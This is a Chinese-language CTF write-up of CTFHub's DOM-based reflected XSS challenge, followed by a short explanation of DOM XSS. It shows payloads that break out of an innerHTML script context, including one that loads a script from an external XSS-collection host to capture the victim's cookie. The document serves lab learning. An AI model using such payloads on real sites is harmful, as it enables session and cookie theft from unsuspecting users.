0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
DOM反射:
(无)
0x02 解题过程
Ⅰ查看网页内容发现一个输入框和一个提交表单。第二个输入框用于模拟用户点击访问目标网页的一个过程。
Ⅱ尝试使用 scripts 标签写入一个警告弹窗,警告内容自定义。
<script>alert("flag")</script>
Ⅲ点击提交表单按钮,发现这里并未弹出警告弹窗。当然,不正常加载的原因有很多,可能是因为浏览器阻止、 HTML 的惰性加载、代码执行了过滤或转义处理等。
Ⅳ检查网页源代码,在 JS 部分,目标网页通过使用 $("#text")[0].innerHTML 获取为 text 元素的 ID ,并将内容设置为 CTFHub is very niubility 。
<div>
<h1>Hello, CTFHub
</h1>
<p id="text"></p>
<script>
$("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>
</div>
innerHTML属性:
innerHTML 属性设置或返回元素的 HTML 内容(内部 HTML)。
Ⅴ通过 innerHTML 属性的特性,构造一个闭合语句,再次尝试弹出警告弹窗。需要注意的是,部分浏览器会阻止此操作,不会正常弹出警告弹窗。设置一下浏览器权限即可。
'</script><script>alert("flag")</script>
Ⅵ尝试构造闭合语句,将编写好的注入代码写入到目标网页中,点击提交。注意,这里同样可以在后面加一个警告弹窗或其他语句,所有的语句都会被执行。
'></script><script src=http://XXX.XXX.XXX.XXX/Q7yYOv?1706736090></script>'><script>alert("注入成功!")</script>
Ⅶ通过第二个输入框模拟用户执行后,访问 XSS 平台查看,在 cookie 中发现此题 flag 。
0x03 DOM反射
DOM 反射型 XSS 与其他类型 XSS 的区别在于攻击方式不同。在触发 DOM 反射型漏洞时,攻击者不需要与服务器进行交互。通常情况下,攻击者利用用户输入的数据,并通过网页中的 JavaScript 进行处理和渲染,从而实现攻击目的。
通过演示图我们可以看到,常见的 XSS 注入过程是攻击者先向目标网页注入恶意脚本,然后目标网页会向服务器提交这个非法请求,当服务器处理完成这个请求后会向网页返回恶意脚本,也就是注入成功 XSS 脚本。这时,用户访问目标网页就会执行攻击者注入的恶意脚本。
而 DOM 反射型则不同,当攻击者向目标网页注入恶意脚本时,并不会提交给服务器。用户访问目标网页就会直接执行攻击者注入的恶意脚本。
0x04 参考文献
[1].w3school. HTML DOM Element innerHTML 属性[EB/OL]. [2024-02-01]. https://www.w3school.com.cn/jsref/prop_html_innerhtml.asp.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。